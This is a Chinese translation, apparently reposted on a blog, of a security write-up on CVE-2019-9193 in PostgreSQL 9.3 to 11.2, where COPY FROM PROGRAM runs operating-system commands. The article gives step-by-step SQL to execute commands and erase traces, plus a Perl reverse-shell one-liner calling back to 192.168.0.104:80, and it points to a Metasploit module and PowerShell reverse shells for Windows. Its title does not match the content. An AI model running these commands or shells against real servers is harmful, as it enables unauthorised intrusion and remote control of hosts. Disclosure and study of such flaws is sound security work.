cmd命令卸载sql server_PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)...

0e4a2786dea0a2dea074bdd5feed0671.png

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

在这篇文章中,我将展示一个Postgres上鲜为人知的“功能”(CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。这就意味着数据库的超级用户与运行数据库的用户在操作系统上拥有相同的权限。

ba14976acd65718ac0cbc95d70ba8dfc.png

这种缺乏权限分离的设定,我们早在2000年左右就能看到,例如,Microsoft SQL Server在默认情况下会启用了xp_cmdshell功能。直到Microsoft SQL Server 2005,这种不合理的设定才被修复。但有趣的是,相同的错误似乎一直在不停重复。

14065dcd6b7d8e934ed3d6742594c53e.png


这种错误/缺陷/功能/漏洞介于提权和任意代码执行之间,因为在利用它之前需要数据库的某种身份验证。当然,攻击者也有可能通过SQL注入来实现。无论哪种情况,只有超级用户或具有“pg_read_server_files”权限的用户都才能执行系统命令。

要执行这种攻击,可按照以下步骤操作:

1)[可选]删除你想使用但已存在的表

DROP TABLE IF EXISTS cmd_exec;

2)创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

3)通过COPY FROM PROGRAM功能运行系统命令

COPY cmd_exec FROM PROGRAM 'id';

4)[可选]查看结果

SELECT * FROM cmd_exec;

5)[可选]清理痕迹

DROP TABLE IF EXISTS cmd_exec;

ca6a039fdf254b3db5e3442373a14908.png


注意,原本命令中的任何单引号都必须转换为双引号才能正常生效,例如,如果要运行命令:

echo 'hello';

你需要将它整个放置在单引号内,然后用双引号替换所有内部所有的单引号:

'echo "hello";'

我已在Postgres可运行的所有操作系统上进行了测试,都以反弹回一个shell为目标,这个shell的权限如下:

Windows - NT AUTHORITY/NETWORK SERVICE (低权限)
Linux - postgres (低权限)
Mac - 安装postgres的用户的权限 (通常是管理员权限)

在Linux和Mac OSX系统下通常可以利用perl语言实现反弹shell,命令如下:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

当然,我还有更简单的方法。我制作了一个新的me tasploit模块(尽快合并到主框架中)来实现远程控制,原本的postgres_payload模块只能在版本8之前生效。我的postgres_cmd_execution_nine_three.rb会自动执行上述所有操作,当然,你必须提供有效的数据库凭据,且具有如上所述权限。如果是SQL注入的情况,那你就只能手动操作了。

d6feaccd18bb6b5b9d986217338702b0.png

51b2578fd11d67b19482d2f8a46b0e91.png

如果目标是Windows系统,NETWORK SERVICE权限的用户似乎不具有写权限,但我们仍然可以利用PowerShell来反弹回shell。我们可以使用me tasploit来生成Powershell编写的反弹shell语句,再带入上述模块中的COMMAND变量。请注意,要使用反斜杠来转义单引号。

aef4cf4d5f0add7b8dd41c8d1b56d880.png

0849d951f7b3882226f3201c88098046.png

66f31b5454ff87eb40349c2111c319e4.png


希望我的研究能对你有用。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)|NOSEC安全讯息平台 - NOSEC.ORG

原文:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值